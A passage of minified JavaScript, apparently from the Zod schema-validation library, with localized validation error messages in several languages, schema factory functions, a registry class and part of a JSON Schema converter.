${z.divisor}`;case"unrecognized_keys":return`Нерозпізнаний ключ${z.keys.length>1?"і":""}: ${z8(z.keys,", ")}`;case"invalid_key":return`Неправильний ключ у ${z.origin}`;case"invalid_union":return"Неправильні вхідні дані";case"invalid_element":return`Неправильне значення у ${z.origin}`;default:return"Неправильні вхідні дані"}}};var cL8=k(()=>{Qq()});function dQ1(){return{localeError:Pq5()}}var Pq5=()=>{let A={string:{unit:"حروف",verb:"ہونا"},file:{unit:"بائٹس",verb:"ہونا"},array:{unit:"آئٹمز",verb:"ہونا"},set:{unit:"آئٹمز",verb:"ہونا"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"نمبر";case"object":{if(Array.isArray(z))return"آرے";if(z===null)return"نل";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"ان پٹ",email:"ای میل ایڈریس",url:"یو آر ایل",emoji:"ایموجی",uuid:"یو یو آئی ڈی",uuidv4:"یو یو آئی ڈی وی 4",uuidv6:"یو یو آئی ڈی وی 6",nanoid:"نینو آئی ڈی",guid:"جی یو آئی ڈی",cuid:"سی یو آئی ڈی",cuid2:"سی یو آئی ڈی 2",ulid:"یو ایل آئی ڈی",xid:"ایکس آئی ڈی",ksuid:"کے ایس یو آئی ڈی",datetime:"آئی ایس او ڈیٹ ٹائم",date:"آئی ایس او تاریخ",time:"آئی ایس او وقت",duration:"آئی ایس او مدت",ipv4:"آئی پی وی 4 ایڈریس",ipv6:"آئی پی وی 6 ایڈریس",cidrv4:"آئی پی وی 4 رینج",cidrv6:"آئی پی وی 6 رینج",base64:"بیس 64 ان کوڈڈ سٹرنگ",base64url:"بیس 64 یو آر ایل ان کوڈڈ سٹرنگ",json_string:"جے ایس او این سٹرنگ",e164:"ای 164 نمبر",jwt:"جے ڈبلیو ٹی",template_literal:"ان پٹ"};return(z)=>{switch(z.code){case"invalid_type":return`غلط ان پٹ: ${z.expected} متوقع تھا، ${q(z.input)} موصول ہوا`;case"invalid_value":if(z.values.length===1)return`غلط ان پٹ: ${B4(z.values[0])} متوقع تھا`;return`غلط آپشن: ${z8(z.values,"|")} میں سے ایک متوقع تھا`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`بہت بڑا: ${z.origin??"ویلیو"} کے ${w}${z.maximum.toString()} ${H.unit??"عناصر"} ہونے متوقع تھے`;return`بہت بڑا: ${z.origin??"ویلیو"} کا ${w}${z.maximum.toString()} ہونا متوقع تھا`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`بہت چھوٹا: ${z.origin} کے ${w}${z.minimum.toString()} ${H.unit} ہونے متوقع تھے`;return`بہت چھوٹا: ${z.origin} کا ${w}${z.minimum.toString()} ہونا متوقع تھا`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`غلط سٹرنگ: "${w.prefix}" سے شروع ہونا چاہیے`;if(w.format==="ends_with")return`غلط سٹرنگ: "${w.suffix}" پر ختم ہونا چاہیے`;if(w.format==="includes")return`غلط سٹرنگ: "${w.includes}" شامل ہونا چاہیے`;if(w.format==="regex")return`غلط سٹرنگ: پیٹرن ${w.pattern} سے میچ ہونا چاہیے`;return`غلط ${Y[w.format]??z.format}`}case"not_multiple_of":return`غلط نمبر: ${z.divisor} کا مضاعف ہونا چاہیے`;case"unrecognized_keys":return`غیر تسلیم شدہ کی${z.keys.length>1?"ز":""}: ${z8(z.keys,"، ")}`;case"invalid_key":return`${z.origin} میں غلط کی`;case"invalid_union":return"غلط ان پٹ";case"invalid_element":return`${z.origin} میں غلط ویلیو`;default:return"غلط ان پٹ"}}};var lL8=k(()=>{Qq()});function cQ1(){return{localeError:Vq5()}}var Vq5=()=>{let A={string:{unit:"ký tự",verb:"có"},file:{unit:"byte",verb:"có"},array:{unit:"phần tử",verb:"có"},set:{unit:"phần tử",verb:"có"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"số";case"object":{if(Array.isArray(z))return"mảng";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"đầu vào",email:"địa chỉ email",url:"URL",emoji:"emoji",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"ngày giờ ISO",date:"ngày ISO",time:"giờ ISO",duration:"khoảng thời gian ISO",ipv4:"địa chỉ IPv4",ipv6:"địa chỉ IPv6",cidrv4:"dải IPv4",cidrv6:"dải IPv6",base64:"chuỗi mã hóa base64",base64url:"chuỗi mã hóa base64url",json_string:"chuỗi JSON",e164:"số E.164",jwt:"JWT",template_literal:"đầu vào"};return(z)=>{switch(z.code){case"invalid_type":return`Đầu vào không hợp lệ: mong đợi ${z.expected}, nhận được ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`Đầu vào không hợp lệ: mong đợi ${B4(z.values[0])}`;return`Tùy chọn không hợp lệ: mong đợi một trong các giá trị ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`Quá lớn: mong đợi ${z.origin??"giá trị"} ${H.verb} ${w}${z.maximum.toString()} ${H.unit??"phần tử"}`;return`Quá lớn: mong đợi ${z.origin??"giá trị"} ${w}${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`Quá nhỏ: mong đợi ${z.origin} ${H.verb} ${w}${z.minimum.toString()} ${H.unit}`;return`Quá nhỏ: mong đợi ${z.origin} ${w}${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`Chuỗi không hợp lệ: phải bắt đầu bằng "${w.prefix}"`;if(w.format==="ends_with")return`Chuỗi không hợp lệ: phải kết thúc bằng "${w.suffix}"`;if(w.format==="includes")return`Chuỗi không hợp lệ: phải bao gồm "${w.includes}"`;if(w.format==="regex")return`Chuỗi không hợp lệ: phải khớp với mẫu ${w.pattern}`;return`${Y[w.format]??z.format} không hợp lệ`}case"not_multiple_of":return`Số không hợp lệ: phải là bội số của ${z.divisor}`;case"unrecognized_keys":return`Khóa không được nhận dạng: ${z8(z.keys,", ")}`;case"invalid_key":return`Khóa không hợp lệ trong ${z.origin}`;case"invalid_union":return"Đầu vào không hợp lệ";case"invalid_element":return`Giá trị không hợp lệ trong ${z.origin}`;default:return"Đầu vào không hợp lệ"}}};var iL8=k(()=>{Qq()});function lQ1(){return{localeError:fq5()}}var fq5=()=>{let A={string:{unit:"字符",verb:"包含"},file:{unit:"字节",verb:"包含"},array:{unit:"项",verb:"包含"},set:{unit:"项",verb:"包含"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"非数字(NaN)":"数字";case"object":{if(Array.isArray(z))return"数组";if(z===null)return"空值(null)";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"输入",email:"电子邮件",url:"URL",emoji:"表情符号",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"ISO日期时间",date:"ISO日期",time:"ISO时间",duration:"ISO时长",ipv4:"IPv4地址",ipv6:"IPv6地址",cidrv4:"IPv4网段",cidrv6:"IPv6网段",base64:"base64编码字符串",base64url:"base64url编码字符串",json_string:"JSON字符串",e164:"E.164号码",jwt:"JWT",template_literal:"输入"};return(z)=>{switch(z.code){case"invalid_type":return`无效输入:期望 ${z.expected},实际接收 ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`无效输入:期望 ${B4(z.values[0])}`;return`无效选项:期望以下之一 ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`数值过大:期望 ${z.origin??"值"} ${w}${z.maximum.toString()} ${H.unit??"个元素"}`;return`数值过大:期望 ${z.origin??"值"} ${w}${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`数值过小:期望 ${z.origin} ${w}${z.minimum.toString()} ${H.unit}`;return`数值过小:期望 ${z.origin} ${w}${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`无效字符串:必须以 "${w.prefix}" 开头`;if(w.format==="ends_with")return`无效字符串:必须以 "${w.suffix}" 结尾`;if(w.format==="includes")return`无效字符串:必须包含 "${w.includes}"`;if(w.format==="regex")return`无效字符串:必须满足正则表达式 ${w.pattern}`;return`无效${Y[w.format]??z.format}`}case"not_multiple_of":return`无效数字:必须是 ${z.divisor} 的倍数`;case"unrecognized_keys":return`出现未知的键(key): ${z8(z.keys,", ")}`;case"invalid_key":return`${z.origin} 中的键(key)无效`;case"invalid_union":return"无效输入";case"invalid_element":return`${z.origin} 中包含无效值(value)`;default:return"无效输入"}}};var nL8=k(()=>{Qq()});function iQ1(){return{localeError:Nq5()}}var Nq5=()=>{let A={string:{unit:"字元",verb:"擁有"},file:{unit:"位元組",verb:"擁有"},array:{unit:"項目",verb:"擁有"},set:{unit:"項目",verb:"擁有"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"number";case"object":{if(Array.isArray(z))return"array";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"輸入",email:"郵件地址",url:"URL",emoji:"emoji",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"ISO 日期時間",date:"ISO 日期",time:"ISO 時間",duration:"ISO 期間",ipv4:"IPv4 位址",ipv6:"IPv6 位址",cidrv4:"IPv4 範圍",cidrv6:"IPv6 範圍",base64:"base64 編碼字串",base64url:"base64url 編碼字串",json_string:"JSON 字串",e164:"E.164 數值",jwt:"JWT",template_literal:"輸入"};return(z)=>{switch(z.code){case"invalid_type":return`無效的輸入值:預期為 ${z.expected},但收到 ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`無效的輸入值:預期為 ${B4(z.values[0])}`;return`無效的選項:預期為以下其中之一 ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`數值過大:預期 ${z.origin??"值"} 應為 ${w}${z.maximum.toString()} ${H.unit??"個元素"}`;return`數值過大:預期 ${z.origin??"值"} 應為 ${w}${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`數值過小:預期 ${z.origin} 應為 ${w}${z.minimum.toString()} ${H.unit}`;return`數值過小:預期 ${z.origin} 應為 ${w}${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`無效的字串:必須以 "${w.prefix}" 開頭`;if(w.format==="ends_with")return`無效的字串:必須以 "${w.suffix}" 結尾`;if(w.format==="includes")return`無效的字串:必須包含 "${w.includes}"`;if(w.format==="regex")return`無效的字串:必須符合格式 ${w.pattern}`;return`無效的 ${Y[w.format]??z.format}`}case"not_multiple_of":return`無效的數字:必須為 ${z.divisor} 的倍數`;case"unrecognized_keys":return`無法識別的鍵值${z.keys.length>1?"們":""}:${z8(z.keys,"、")}`;case"invalid_key":return`${z.origin} 中有無效的鍵值`;case"invalid_union":return"無效的輸入值";case"invalid_element":return`${z.origin} 中有無效的值`;default:return"無效的輸入值"}}};var rL8=k(()=>{Qq()});var UHA={};_q(UHA,{zhTW:()=>iQ1,zhCN:()=>lQ1,vi:()=>cQ1,ur:()=>dQ1,ua:()=>pQ1,tr:()=>UQ1,th:()=>QQ1,ta:()=>FQ1,sv:()=>gQ1,sl:()=>mQ1,ru:()=>BQ1,pt:()=>uQ1,ps:()=>bQ1,pl:()=>xQ1,ota:()=>hQ1,no:()=>SQ1,nl:()=>IQ1,ms:()=>yQ1,mk:()=>RQ1,ko:()=>LQ1,kh:()=>CQ1,ja:()=>kQ1,it:()=>EQ1,id:()=>vQ1,hu:()=>TQ1,he:()=>NQ1,frCA:()=>fQ1,fr:()=>VQ1,fi:()=>PQ1,fa:()=>MQ1,es:()=>jQ1,eo:()=>DQ1,en:()=>VEA,de:()=>ZQ1,cs:()=>GQ1,ca:()=>_Q1,be:()=>$Q1,az:()=>XQ1,ar:()=>OQ1});var TeA=k(()=>{XL8();$L8();GL8();ZL8();WL8();DL8();WQ1();jL8();ML8();PL8();VL8();fL8();NL8();TL8();vL8();EL8();kL8();CL8();LL8();RL8();yL8();IL8();SL8();hL8();bL8();xL8();uL8();BL8();gL8();FL8();QL8();UL8();pL8();dL8();cL8();lL8();iL8();nL8();rL8()});class fEA{constructor(){this._map=new WeakMap,this._idmap=new Map}add(A,...K){let q=K[0];if(this._map.set(A,q),q&&typeof q==="object"&&"id"in q){if(this._idmap.has(q.id))throw Error(`ID ${q.id} already exists in the registry`);this._idmap.set(q.id,A)}return this}remove(A){return this._map.delete(A),this}get(A){let K=A._zod.parent;if(K){let q={...this.get(K)??{}};return delete q.id,{...q,...this._map.get(A)}}return this._map.get(A)}has(A){return this._map.has(A)}}function veA(){return new fEA}var nQ1,rQ1,Eb;var oQ1=k(()=>{nQ1=Symbol("ZodOutput"),rQ1=Symbol("ZodInput");Eb=veA()});function aQ1(A,K){return new A({type:"string",...M4(K)})}function sQ1(A,K){return new A({type:"string",coerce:!0,...M4(K)})}function EeA(A,K){return new A({type:"string",format:"email",check:"string_format",abort:!1,...M4(K)})}function NEA(A,K){return new A({type:"string",format:"guid",check:"string_format",abort:!1,...M4(K)})}function keA(A,K){return new A({type:"string",format:"uuid",check:"string_format",abort:!1,...M4(K)})}function CeA(A,K){return new A({type:"string",format:"uuid",check:"string_format",abort:!1,version:"v4",...M4(K)})}function LeA(A,K){return new A({type:"string",format:"uuid",check:"string_format",abort:!1,version:"v6",...M4(K)})}function ReA(A,K){return new A({type:"string",format:"uuid",check:"string_format",abort:!1,version:"v7",...M4(K)})}function yeA(A,K){return new A({type:"string",format:"url",check:"string_format",abort:!1,...M4(K)})}function IeA(A,K){return new A({type:"string",format:"emoji",check:"string_format",abort:!1,...M4(K)})}function SeA(A,K){return new A({type:"string",format:"nanoid",check:"string_format",abort:!1,...M4(K)})}function heA(A,K){return new A({type:"string",format:"cuid",check:"string_format",abort:!1,...M4(K)})}function beA(A,K){return new A({type:"string",format:"cuid2",check:"string_format",abort:!1,...M4(K)})}function xeA(A,K){return new A({type:"string",format:"ulid",check:"string_format",abort:!1,...M4(K)})}function ueA(A,K){return new A({type:"string",format:"xid",check:"string_format",abort:!1,...M4(K)})}function BeA(A,K){return new A({type:"string",format:"ksuid",check:"string_format",abort:!1,...M4(K)})}function meA(A,K){return new A({type:"string",format:"ipv4",check:"string_format",abort:!1,...M4(K)})}function geA(A,K){return new A({type:"string",format:"ipv6",check:"string_format",abort:!1,...M4(K)})}function FeA(A,K){return new A({type:"string",format:"cidrv4",check:"string_format",abort:!1,...M4(K)})}function QeA(A,K){return new A({type:"string",format:"cidrv6",check:"string_format",abort:!1,...M4(K)})}function UeA(A,K){return new A({type:"string",format:"base64",check:"string_format",abort:!1,...M4(K)})}function peA(A,K){return new A({type:"string",format:"base64url",check:"string_format",abort:!1,...M4(K)})}function deA(A,K){return new A({type:"string",format:"e164",check:"string_format",abort:!1,...M4(K)})}function ceA(A,K){return new A({type:"string",format:"jwt",check:"string_format",abort:!1,...M4(K)})}function eQ1(A,K){return new A({type:"string",format:"datetime",check:"string_format",offset:!1,local:!1,precision:null,...M4(K)})}function AU1(A,K){return new A({type:"string",format:"date",check:"string_format",...M4(K)})}function KU1(A,K){return new A({type:"string",format:"time",check:"string_format",precision:null,...M4(K)})}function qU1(A,K){return new A({type:"string",format:"duration",check:"string_format",...M4(K)})}function YU1(A,K){return new A({type:"number",checks:[],...M4(K)})}function zU1(A,K){return new A({type:"number",coerce:!0,checks:[],...M4(K)})}function wU1(A,K){return new A({type:"number",check:"number_format",abort:!1,format:"safeint",...M4(K)})}function HU1(A,K){return new A({type:"number",check:"number_format",abort:!1,format:"float32",...M4(K)})}function JU1(A,K){return new A({type:"number",check:"number_format",abort:!1,format:"float64",...M4(K)})}function OU1(A,K){return new A({type:"number",check:"number_format",abort:!1,format:"int32",...M4(K)})}function XU1(A,K){return new A({type:"number",check:"number_format",abort:!1,format:"uint32",...M4(K)})}function $U1(A,K){return new A({type:"boolean",...M4(K)})}function _U1(A,K){return new A({type:"boolean",coerce:!0,...M4(K)})}function GU1(A,K){return new A({type:"bigint",...M4(K)})}function ZU1(A,K){return new A({type:"bigint",coerce:!0,...M4(K)})}function WU1(A,K){return new A({type:"bigint",check:"bigint_format",abort:!1,format:"int64",...M4(K)})}function DU1(A,K){return new A({type:"bigint",check:"bigint_format",abort:!1,format:"uint64",...M4(K)})}function jU1(A,K){return new A({type:"symbol",...M4(K)})}function MU1(A,K){return new A({type:"undefined",...M4(K)})}function PU1(A,K){return new A({type:"null",...M4(K)})}function VU1(A){return new A({type:"any"})}function pHA(A){return new A({type:"unknown"})}function fU1(A,K){return new A({type:"never",...M4(K)})}function NU1(A,K){return new A({type:"void",...M4(K)})}function TU1(A,K){return new A({type:"date",...M4(K)})}function vU1(A,K){return new A({type:"date",coerce:!0,...M4(K)})}function EU1(A,K){return new A({type:"nan",...M4(K)})}function WF(A,K){return new ZeA({check:"less_than",...M4(K),value:A,inclusive:!1})}function gE(A,K){return new ZeA({check:"less_than",...M4(K),value:A,inclusive:!0})}function DF(A,K){return new WeA({check:"greater_than",...M4(K),value:A,inclusive:!1})}function _V(A,K){return new WeA({check:"greater_than",...M4(K),value:A,inclusive:!0})}function kU1(A){return DF(0,A)}function CU1(A){return WF(0,A)}function LU1(A){return gE(0,A)}function RU1(A){return _V(0,A)}function f6A(A,K){return new Fg1({check:"multiple_of",...M4(K),value:A})}function dHA(A,K){return new pg1({check:"max_size",...M4(K),maximum:A})}function N6A(A,K){return new dg1({check:"min_size",...M4(K),minimum:A})}function TEA(A,K){return new cg1({check:"size_equals",...M4(K),size:A})}function cHA(A,K){return new lg1({check:"max_length",...M4(K),maximum:A})}function vi(A,K){return new ig1({check:"min_length",...M4(K),minimum:A})}function lHA(A,K){return new ng1({check:"length_equals",...M4(K),length:A})}function vEA(A,K){return new rg1({check:"string_format",format:"regex",...M4(K),pattern:A})}function EEA(A){return new og1({check:"string_format",format:"lowercase",...M4(A)})}function kEA(A){return new ag1({check:"string_format",format:"uppercase",...M4(A)})}function CEA(A,K){return new sg1({check:"string_format",format:"includes",...M4(K),includes:A})}function LEA(A,K){return new tg1({check:"string_format",format:"starts_with",...M4(K),prefix:A})}function REA(A,K){return new eg1({check:"string_format",format:"ends_with",...M4(K),suffix:A})}function yU1(A,K,q){return new AF1({check:"property",property:A,schema:K,...M4(q)})}function yEA(A,K){return new KF1({check:"mime_type",mime:A,...M4(K)})}function jF(A){return new qF1({check:"overwrite",tx:A})}function IEA(A){return jF((K)=>K.normalize(A))}function SEA(){return jF((A)=>A.trim())}function hEA(){return jF((A)=>A.toLowerCase())}function bEA(){return jF((A)=>A.toUpperCase())}function xEA(A,K,q){return new A({type:"array",element:K,...M4(q)})}function Tq5(A,K,q){return new A({type:"union",options:K,...M4(q)})}function vq5(A,K,q,Y){return new A({type:"union",options:q,discriminator:K,...M4(Y)})}function Eq5(A,K,q){return new A({type:"intersection",left:K,right:q})}function IU1(A,K,q,Y){let z=q instanceof O5;return new A({type:"tuple",items:K,rest:z?q:null,...M4(z?Y:q)})}function kq5(A,K,q,Y){return new A({type:"record",keyType:K,valueType:q,...M4(Y)})}function Cq5(A,K,q,Y){return new A({type:"map",keyType:K,valueType:q,...M4(Y)})}function Lq5(A,K,q){return new A({type:"set",valueType:K,...M4(q)})}function Rq5(A,K,q){let Y=Array.isArray(K)?Object.fromEntries(K.map((z)=>[z,z])):K;return new A({type:"enum",entries:Y,...M4(q)})}function yq5(A,K,q){return new A({type:"enum",entries:K,...M4(q)})}function Iq5(A,K,q){return new A({type:"literal",values:Array.isArray(K)?K:[K],...M4(q)})}function SU1(A,K){return new A({type:"file",...M4(K)})}function Sq5(A,K){return new A({type:"transform",transform:K})}function hq5(A,K){return new A({type:"optional",innerType:K})}function bq5(A,K){return new A({type:"nullable",innerType:K})}function xq5(A,K,q){return new A({type:"default",innerType:K,get defaultValue(){return typeof q==="function"?q():q}})}function uq5(A,K,q){return new A({type:"nonoptional",innerType:K,...M4(q)})}function Bq5(A,K){return new A({type:"success",innerType:K})}function mq5(A,K,q){return new A({type:"catch",innerType:K,catchValue:typeof q==="function"?q:()=>q})}function gq5(A,K,q){return new A({type:"pipe",in:K,out:q})}function Fq5(A,K){return new A({type:"readonly",innerType:K})}function Qq5(A,K,q){return new A({type:"template_literal",parts:K,...M4(q)})}function Uq5(A,K){return new A({type:"lazy",getter:K})}function pq5(A,K){return new A({type:"promise",innerType:K})}function hU1(A,K,q){let Y=M4(q);return Y.abort??(Y.abort=!0),new A({type:"custom",check:"custom",fn:K,...Y})}function bU1(A,K,q){return new A({type:"custom",check:"custom",fn:K,...M4(q)})}function xU1(A,K){let q=M4(K),Y=q.truthy??["true","1","yes","on","y","enabled"],z=q.falsy??["false","0","no","off","n","disabled"];if(q.case!=="sensitive")Y=Y.map((W)=>typeof W==="string"?W.toLowerCase():W),z=z.map((W)=>typeof W==="string"?W.toLowerCase():W);let w=new Set(Y),H=new Set(z),J=A.Pipe??MEA,O=A.Boolean??WEA,X=A.String??P6A,_=new(A.Transform??jEA)({type:"transform",transform:(W,D)=>{let j=W;if(q.case!=="sensitive")j=j.toLowerCase();if(w.has(j))return!0;else if(H.has(j))return!1;else return D.issues.push({code:"invalid_value",expected:"stringbool",values:[...w,...H],input:D.value,inst:_}),{}},error:q.error}),G=new J({type:"pipe",in:new X({type:"string",error:q.error}),out:_,error:q.error});return new J({type:"pipe",in:G,out:new O({type:"boolean",error:q.error}),error:q.error})}function uU1(A,K,q,Y={}){let z=M4(Y),w={...M4(Y),check:"string_format",type:"string",format:K,fn:typeof q==="function"?q:(J)=>q.test(J),...z};if(q instanceof RegExp)w.pattern=q;return new A(w)}var tQ1;var BU1=k(()=>{DeA();PEA();Qq();tQ1={Any:null,Minute:-1,Second:0,Millisecond:3,Microsecond:6}});class mU1{constructor(A){this._def=A,this.def=A}implement(A){if(typeof A!=="function")throw Error("implement() must be called with a function");let K=(...q)=>{let Y=this._def.input?_EA(this._def.input,q,void 0,{callee:K}):q;if(!Array.isArray(Y))throw Error("Invalid arguments schema: not an array or tuple schema.");let z=A(...Y);return this._def.output?_EA(this._def.output,z,void 0,{callee:K}):z};return K}implementAsync(A){if(typeof A!=="function")throw Error("implement() must be called with a function");let K=async(...q)=>{let Y=this._def.input?await GEA(this._def.input,q,void 0,{callee:K}):q;if(!Array.isArray(Y))throw Error("Invalid arguments schema: not an array or tuple schema.");let z=await A(...Y);return this._def.output?GEA(this._def.output,z,void 0,{callee:K}):z};return K}input(...A){let K=this.constructor;if(Array.isArray(A[0]))return new K({type:"function",input:new V6A({type:"tuple",items:A[0],rest:A[1]}),output:this._def.output});return new K({type:"function",input:A[0],output:this._def.output})}output(A){return new this.constructor({type:"function",input:this._def.input,output:A})}}function gU1(A){return new mU1({type:"function",input:Array.isArray(A?.input)?IU1(V6A,A?.input):A?.input??xEA(DEA,pHA(QHA)),output:A?.output??pHA(QHA)})}var oL8=k(()=>{BU1();$eA();PEA();PEA()});class leA{constructor(A){this.counter=0,this.metadataRegistry=A?.metadata??Eb,this.target=A?.target??"draft-2020-12",this.unrepresentable=A?.unrepresentable??"throw",this.override=A?.override??(()=>{}),this.io=A?.io??"output",this.seen=new Map}process(A,K={path:[],schemaPath:[]}){var q;let Y=A._zod.def,z={guid:"uuid",url:"uri",datetime:"date-time",json_string:"json-string",regex:""},w=this.seen.get(A);if(w){if(w.count++,K.schemaPath.includes(A))w.cycle=K.path;return w.schema}let H={schema:{},count:1,cycle:void 0,path:K.path};this.seen.set(A,H);let J=A._zod.toJSONSchema?.();if(J)H.schema=J;else{let $={...K,schemaPath:[...K.schemaPath,A],path:K.path},_=A._zod.parent;if(_)H.ref=_,this.process(_,$),this.seen.get(_).isParent=!0;else{let G=H.schema;switch(Y.type){case"string":{let Z=G;Z.type="string";let{minimum:W,maximum:D,format:j,patterns:M,contentEncoding:P}=A._zod.bag;if(typeof W==="number")Z.minLength=W;if(typeof D==="number")Z.maxLength=D;if(j){if(Z.format=z[j]??j,Z.format==="")delete Z.format}if(P)Z.contentEncoding=P;if(M&&M.size>0){let f=[...M];if(f.length===1)Z.pattern=f[0].source;else if(f.length>1)H.schema.allOf=[...f.map((N)=>({...this.target==="draft-7"?{type:"string"}:{},pattern:N.source}))]}break}case"number":{let Z=G,{minimum:W,maximum:D,format:j,multipleOf:M,exclusiveMaximum:P,exclusiveMinimum:f}=A._zod.bag;if(typeof j==="string"&&j.includes("int"))Z.type="integer";else Z.type="number";if(typeof f==="number")Z.exclusiveMinimum=f;if(typeof W==="number"){if(Z.minimum=W,typeof f==="number")if(f>=W)delete Z.minimum;else delete Z.exclusiveMinimum}if(typeof P==="number")Z.exclusiveMaximum=P;if(typeof D==="number"){if(Z.maximum=D,typeof P==="number")if(P<=D)delete Z.maximum;else delete Z.exclusiveMaximum}if(typeof M==="number")Z.multipleOf=M;break}case"boolean":{let Z=G;Z.type="boolean";break}case"bigint":{if(this.unrepresentable==="throw")throw Error("BigInt cannot be represented in JSON Schema");break}case"symbol":{if(this.unrepresentable==="throw")throw Error("Symbols cannot be represented in JSON Schema");break}case"null":{G.type="null";break}case"any":break;case"unknown":break;case"undefined":case"never":{G.not={};break}case"void":{if(this.unrepresentable==="throw")throw Error("Void cannot be represented in JSON Schema");break}case"date":{if(this.unrepresentable==="throw")throw Error("Date cannot be represented in JSON Schema");break}case"array":{let Z=G,{minimum:W,maximum:D}=A._zod.bag;if(typeof W==="number")Z.minItems=W;if(typeof D==="number")Z.maxItems=D;Z.type="array",Z.items=this.process(Y.element,{...$,path:[...$.path,"items"]});break}case"object":{let Z=G;Z.type="object",Z.properties={};let W=Y.shape;for(let M in W)Z.properties[M]=this.process(W[M],{...$,path:[...$.path,"properties",M]});let D=new Set(Object.keys(W)),j=new Set([...D].filter((M)=>{let P=Y.shape[M]._zod;if(this.io==="input")return P.optin===void 0;else return P.optout===void 0}));if(j.size>0)Z.required=Array.from(j);if(Y.catchall?._zod.def.type==="never")Z.additionalProperties=!1;else if(!Y.catchall){if(this.io==="output")Z.additionalProperties=!1}else if(Y.catchall)Z.additionalProperties=this.process(Y.catchall,{...$,path:[...$.path,"additionalProperties"]});break}case"union":{let Z=G;Z.anyOf=Y.options.map((W,D)=>this.process(W,{...$,path:[...$.path,"anyOf",D]}));break}case"intersection":{let Z=G,W=this.process(Y.left,{...$,path:[...$.path,"allOf",0]}),D=this.process(Y.right,{...$,path:[...$.path,"allOf",1]}),j=(P)=>("allOf"in P)&&Object.keys(P).length===1,M=[...j(W)?W.allOf:[W],...j(D)?D.allOf:[D]];Z.allOf=M;break}case"tuple":{let Z=G;Z.type="array";let W=Y.items.map((M,P)=>this.process(M,{...$,path:[...$.path,"prefixItems",P]}));if(this.target==="draft-2020-12")Z.prefixItems=W;else Z.items=W;if(Y.rest){let M=this.process(Y.rest,{...$,path:[...$.path,"items"]});if(this.target==="draft-2020-12")Z.items=M;else Z.additionalItems=M}if(Y.rest)Z.items=this.process(Y.rest,{...$,path:[...$.path,"items"]});let{minimum:D,maximum:j}=A._zod.bag;if(typeof D==="number")Z.minItems=D;if(typeof j==="number")Z.maxItems=j;break}case"record":{let Z=G;Z.type="object",Z.propertyNames=this.process(Y.keyType,{...$,path:[...$.path,"propertyNames"]}),Z.additionalProperties=this.process(Y.valueType,{...$,path:[...$.path,"additionalProperties"]});break}case"map":{if(this.unrepresentable==="throw")throw Error("Map cannot be represented in JSON Schema");break}case"set":{if(this.unrepresentable==="throw")throw Error("Set cannot be represented in JSON Schema");break}case"enum":{let Z=G,W=qEA(Y.entries);if(W.every((D)=>typeof D==="number"))Z.type="number";if(W.every((D)=>typeof D==="string"))Z.type="string";Z.enum=W;break}case"literal":{let Z=G,W=[];for(let D of Y.values)if(D===void 0){if(this.unrepresentable==="throw")throw Error("Literal `undefined` cannot be represented in JSON Schema")}else if(typeof D==="bigint")if(this.unrepresentable==="throw")throw Error("BigInt literals cannot be represented in JSON Schema");else W.push(Number(D));else W.push(D);if(W.length===0);else if(W.length===1){let D=W[0];Z.type=D===null?"null":typeof D,Z.const=D}else{if(W.every((D)=>typeof D==="number"))Z.type="number";if(W.every((D)=>typeof D==="string"))Z.type="string";if(W.every((D)=>typeof D==="boolean"))Z.type="string";if(W.every((D)=>D===null))Z.type="null";Z.enum=W}break}case"file":{let Z=G,W={type:"string",format:"binary",contentEncoding:"binary"},{minimum:D,maximum:j,mime:M}=A._zod.bag;if(D!==void 0)W.minLength=D;if(j!==void 0)W.maxLength=j;if(M)if(M.length===1)W.contentMediaType=M[0],Object.assign(Z,W);else Z.anyOf=M.map((P)=>{return{...W,contentMediaType:P}});else Object.assign(Z,W);break}case"transform":{if(this.unrepresentable==="throw")throw Error("Transforms cannot be represented in JSON Schema");break}case"nullable":{let Z=this.process(Y.innerType,$);G.anyOf=[Z,{type:"null"}];break}case"nonoptional":{this.process(Y.innerType,$),H.ref=Y.innerType;break}case"success":{let 